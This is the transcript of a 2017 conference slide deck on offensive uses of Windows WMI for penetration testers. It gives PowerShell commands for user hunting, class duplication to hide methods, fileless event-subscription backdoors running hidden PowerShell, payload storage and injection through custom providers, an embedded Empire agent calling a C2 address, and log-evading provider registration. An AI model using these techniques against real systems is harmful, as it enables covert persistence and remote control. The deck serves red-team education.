wmi for penetration testers - arcticcon 2017
TRANSCRIPT
1 Confidential & Proprietary
WHO AM I
Alexander Leary
Senior Network & Application Pentester at NetSPI
Twitter: 0xbadjuju
KeyBase: 0xbadjuju
Blogs: https://blog.netspi.com/author/aleary/
Code: https://github.com/0xbadjuju/
2 Confidential & Proprietary
OUTLINE
1. WMI Overview
2. WMI Event Subscriptions
3. WMI for Storage
4. WMI Providers
5. Installing WMI Providers
https://github.com/0xbadjuju/PowerProvider
https://github.com/0xbadjuju/WheresMyImplant
3 Confidential & Proprietary
WHAT IS WMI?
Windows Management Instrumentation
Present since Windows 95
It shows
Probably familiar with some WMI functions
Win32_Process -> Create()
wmic.exe process call create …
Invoke-WmiMethod –class win32_process –name create –argumentlist …
4 Confidential & Proprietary
WMI OVERVIEW
WMI
Namespace
Class
Property
Static || Dynamic
Method
WQL
SELECT * from class;
SQL Server
Database
Table
Row
Static
Stored Procedure
SQL
SELECT * FROM table;
5 Confidential & Proprietary
USEFUL QUERIES
StdRegProv
Invoke-WmiMethod -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, "$Key\$Value"
AntiVirusProduct
Get-WmiObject -Namespace ROOT/SecurityCenter2 -Class AntiVirusProduct
Win32_Directory
Get-CimInstance -Query "SELECT * FROM Win32_Directory WHERE Drive = 'C:' AND Path = '\\’”
CIM_DataFile
(Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'").Name
Win32_Service
(Get-WmiObject Win32_Service | ? Name -Eq LogWatcher).StopService()
6 Confidential & Proprietary
USER HUNTING
(Get-WmiObject Win32_LoggedOnUser -ComputerName $ComputerName).Antecedent | % {$split =
$_.split("`""); $username = $split[1]+"\"+$split[3]; $username} | Get-Unique
(Get-CimInstance Win32_LoggedOnUser -ComputerName $ComputerName).Antecedent | Select
Domain,Name -Unique
Get-WmiObject Win32_LogonSession -ComputerName $ComputerName | %{Get-WmiObject -Query
"ASSOCIATORS OF {Win32_LogonSession.LogonId=$($_.LogonId)} WHERE
ResultClass=Win32_UserAccount” -ComputerName $ComputerName}
Get-WmiObject -Class Win32_Process -ComputerName $ComputerName | %{$_.GetOwner()} |
Select domain, user -Unique
7 Confidential & Proprietary7 Confidential & Proprietary
WMI EVENT SUBSCRIPTIONSINVOKE-WMIDUPLICATECLASS
8 Confidential & Proprietary
WMI CLASS INHERITANCE
WMI has a robust implementation of class inheritance
CIM_ManagedSystemElement
CIM_LogicalElement
CIM_Process
Win32_Process
???
9 Confidential & Proprietary
DUPLICATING A WMI CLASS
$NewManagementClass = $ManagementClass.Derive($DerivedClassName)
$NewManagementClass.put()
$NewManagementClass = $ManagementClass.Clone($ClonedClassName)
$NewManagementClass.put()
https://twitter.com/mattifestation/status/907702749193633792
10 Confidential & Proprietary
HIDING WMI METHODS
Invoke-WMIDuplicateClass
-TargetClassName Win32_Process
-DuplicateClassName Win32_Create
-ComputerName $ComputerName
-Credential $Credential
11 Confidential & Proprietary
12 Confidential & Proprietary
Binding
WMI FILELESS BACKDOORS
EventFilter
__EventFilter
Consumers
ComandLineEventConsumer
ActiveScriptEventConsumer
Binding
__FilterToConsumberBinding
Well Known and Documented Technique
https://github.com/Sw4mpf0x/PowerLurk
https://blog.netspi.com/
Event Filter
(Trigger)
Consumer
(Action)
13 Confidential & Proprietary
EVENT FILTER + CONSUMER EXAMPLE
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = “NetSPI Event Filter”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL’
};
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
Name = “NetSPI Event Consumer”
CommandLineTemplate = “powershell.exe –NoP –NonI –W Hidden –Exec Bypass –Command “iex…”
};
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
};
14 Confidential & Proprietary
INVOKE-WMIDUPLICATECLASS
Invoke-WMIDuplicateClass -TargetClassName CommandLineEventConsumer -DuplicateClassName DerivedEventConsumer -NameSpaceROOT\Subscription ComputerName $ComputerName -Credential $Credential –Verbose
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root\cimv2'
Name = “NetSPI Event Filter”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL’
};
$Consumer = Set-WmiInstance -Namespace root\subscription -Class DerivedEventConsumer -Arguments @{
Name = “NetSPI Event Consumer”
CommandLineTemplate = “powershell.exe –NoP –NonI –W Hidden –Exec Bypass –Command “iex…”
};
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
};
15 Confidential & Proprietary
16 Confidential & Proprietary16 Confidential & Proprietary
WMI FOR STORAGEINVOKE-WMIFS
17 Confidential & Proprietary
INVOKE-WMIFS
1. Create a WMI class to store file in
New-WMIFSClass
2. Read in file and base64 encode and encrypt
ConvertTo-Base64 & ConvertTo-EncryptedText
3. Slice the base64 encoded string and insert into WMI
Invoke-InsertFileThreaded
4. Retrieve the file and reassemble
Invoke-RetrieveFile
5. Base64, decrypt file, and optionally write to disk
ConvertFrom-Base64 & ConvertFrom-EncryptedText
Wrapped into Invoke-WMIUpload & Invoke-WMIRemoteExtract
18 Confidential & Proprietary
19 Confidential & Proprietary19 Confidential & Proprietary
WMI PROVIDERSWHERESMYIMPLANT
20 Confidential & Proprietary
WMI PROVIDERS
These are the DLL’s behind the scenes that do all the work
Host the methods and properties that we call
cimwin32.dll
What about building our own provider?
Build the provider
Register the provider
Access the provider
21 Confidential & Proprietary
HOW TO CREATE A PROVIDER
WmiPrvSe.exe can host the Common Language Runtime (CLR)
Opens up .Net for use in WMI
Add a few decorators
[ManagementEntity]
[ManagementTask]
Remove calls to stdin, stdout, and stderr
PowerShell Command Execution
https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider
ShellCode Runner
https://github.com/subTee/EvilWMIProvider
22 Confidential & Proprietary
23 Confidential & Proprietary
WMI BACKDOOR
1. Base64 Encode Payload
2. Store Payload as Base64 Encoded String in WMI
3. Extract as a byte array and then inject the payload
Supported Payloads:
ShellCode, Dll, PE
24 Confidential & Proprietary
25 Confidential & Proprietary
26 Confidential & Proprietary
27 Confidential & Proprietary
28 Confidential & Proprietary
WMI EMBEDDED EMPIRE?
Embedded Empire Agent? Why not?
$language = “dotnet” || “powershell”
$server = “http://192.168.255.100:80”
$key = “q|Q]KAe!{Z[:Tj<s26;zd9m7-_DMi3,5”
Invoke-WmiMethod –Class Win32_Implant –Name Empire –ArguementList $language,$server,$key
29 Confidential & Proprietary
EMPIRE - .NET AGENT
30 Confidential & Proprietary30 Confidential & Proprietary
REGISTERING WMI PROVIDERSINSTALL-WMIPROVIDER
31 Confidential & Proprietary
INSTALLUTIL.EXE
PS C:\> InstallUtil.exe assembly.dll
PS C:\> InstallUtil.exe /u assembly.dll
In the Windows Event Log this triggers a warning.
32 Confidential & Proprietary
.NET MANAGEDINSTALLERCLASS
PS C:\> [System.Configuration.Install.ManagedInstallerClass]::InstallHelper(
@( "C:\assembly.dll")
)
PS C:\> [System.Configuration.Install.ManagedInstallerClass]::InstallHelper(
@(“/u”, "C:\assembly.dll")
)
The PS version and .net assembly version need to match.
In the Windows Event Log this also triggers a warning.
33 Confidential & Proprietary
34 Confidential & Proprietary
MANUAL REGISTRATION
What if we were to register the WMI Provider purely through WMI calls
This does not come close to fitting on a slide
1. Create the WMI_extension Class
2. Create an instance of WMI_extension for the Win32_Implant Class
3. Create an instance of __InstanceProviderRegistration for WMI_extension
4. Create an instance of __MethodProviderRegistration for WMI_extension
5. Create the Win32_Implant Class
6. Register WMI_extension in HKCR and HKLM
35 Confidential & Proprietary
MANUAL REGISTRATION
That looks hard
36 Confidential & Proprietary
MANUAL REGISTRATION
Why would I want to do that?
Manually registering a WMI provider allows us to bypass calling any executables on the remote
system
Remember those pesky Windows Event Logs warnings?
Those are caused by the default hosting model LocalSystemHost
There are many, many others to choose from.
Win32_Process -> Create() uses NetworkServiceHost
Wanna guess that that HostingModel doesn’t do?
37 Confidential & Proprietary
MANUAL REGISTRATION
Install-WMIProviderExtension
-ComputerName $ComputerName
-Credential $Credential
-RemoteLibraryLocation C:\Windows\System32\wbem\WheresMyImplant.dll
-ProviderDisplayName Win32_Implant
-HostingModel NetworkServiceHost:CLR
38 Confidential & Proprietary
39 Confidential & Proprietary
Applications and Service Logs / Microsoft / Windows / WMI Activity
https://msdn.microsoft.com/en-us/library/aa826686(v=vs.85).aspx
40 Confidential & Proprietary
Questions?